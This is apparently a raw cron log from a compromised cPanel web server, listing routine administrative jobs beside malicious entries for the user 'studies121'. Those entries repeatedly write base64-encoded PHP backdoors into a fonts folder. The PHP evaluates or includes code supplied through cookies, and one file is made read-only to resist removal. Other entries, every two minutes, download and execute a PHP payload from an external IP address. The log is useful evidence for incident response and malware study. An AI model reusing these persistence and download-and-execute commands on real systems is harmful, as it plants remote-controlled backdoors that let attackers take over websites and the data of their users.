Aug 30 12:18:01 ip-184-168-122-23 CROND[11711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:18:01 ip-184-168-122-23 CROND[11710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:18:01 ip-184-168-122-23 CROND[11718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:18:01 ip-184-168-122-23 CROND[11719]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:19:01 ip-184-168-122-23 CROND[11894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:19:01 ip-184-168-122-23 CROND[11896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:19:01 ip-184-168-122-23 CROND[11899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:19:01 ip-184-168-122-23 CROND[11897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:20:01 ip-184-168-122-23 CROND[11995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:20:01 ip-184-168-122-23 CROND[11994]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 12:20:01 ip-184-168-122-23 CROND[11996]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 12:20:01 ip-184-168-122-23 CROND[12002]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 12:20:01 ip-184-168-122-23 CROND[12003]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 12:20:01 ip-184-168-122-23 CROND[12001]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 12:20:01 ip-184-168-122-23 CROND[12006]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:20:01 ip-184-168-122-23 CROND[12000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:20:01 ip-184-168-122-23 CROND[12004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:21:01 ip-184-168-122-23 CROND[12232]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:21:01 ip-184-168-122-23 CROND[12233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:21:01 ip-184-168-122-23 CROND[12234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:21:01 ip-184-168-122-23 CROND[12236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:22:01 ip-184-168-122-23 CROND[12431]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:22:01 ip-184-168-122-23 CROND[12433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:22:01 ip-184-168-122-23 CROND[12434]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 12:22:01 ip-184-168-122-23 CROND[12432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:22:01 ip-184-168-122-23 CROND[12436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:23:01 ip-184-168-122-23 CROND[12632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:23:01 ip-184-168-122-23 CROND[12636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:23:01 ip-184-168-122-23 CROND[12634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:23:01 ip-184-168-122-23 CROND[12635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:24:01 ip-184-168-122-23 CROND[12877]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:24:01 ip-184-168-122-23 CROND[12879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:24:01 ip-184-168-122-23 CROND[12880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:24:01 ip-184-168-122-23 CROND[12881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:24:01 ip-184-168-122-23 CROND[12882]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 12:25:01 ip-184-168-122-23 CROND[13140]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 30 12:25:01 ip-184-168-122-23 CROND[13144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:25:01 ip-184-168-122-23 CROND[13142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:25:01 ip-184-168-122-23 CROND[13146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:25:01 ip-184-168-122-23 CROND[13147]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 12:25:02 ip-184-168-122-23 CROND[13143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:25:02 ip-184-168-122-23 CROND[13145]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 12:26:01 ip-184-168-122-23 CROND[13312]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 12:26:01 ip-184-168-122-23 CROND[13314]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:26:01 ip-184-168-122-23 CROND[13318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:26:01 ip-184-168-122-23 CROND[13320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:26:01 ip-184-168-122-23 CROND[13319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:27:01 ip-184-168-122-23 CROND[13586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:27:01 ip-184-168-122-23 CROND[13588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:27:01 ip-184-168-122-23 CROND[13589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:27:01 ip-184-168-122-23 CROND[13590]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:28:01 ip-184-168-122-23 CROND[13763]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:28:01 ip-184-168-122-23 CROND[13765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:28:01 ip-184-168-122-23 CROND[13766]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 12:28:01 ip-184-168-122-23 CROND[13767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:28:01 ip-184-168-122-23 CROND[13768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:29:01 ip-184-168-122-23 CROND[13905]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:29:01 ip-184-168-122-23 CROND[13908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:29:01 ip-184-168-122-23 CROND[13909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:29:01 ip-184-168-122-23 CROND[13907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:30:01 ip-184-168-122-23 CROND[14127]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 12:30:01 ip-184-168-122-23 CROND[14131]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 12:30:01 ip-184-168-122-23 CROND[14133]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 12:30:01 ip-184-168-122-23 CROND[14135]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Aug 30 12:30:01 ip-184-168-122-23 CROND[14140]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 12:30:01 ip-184-168-122-23 CROND[14141]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
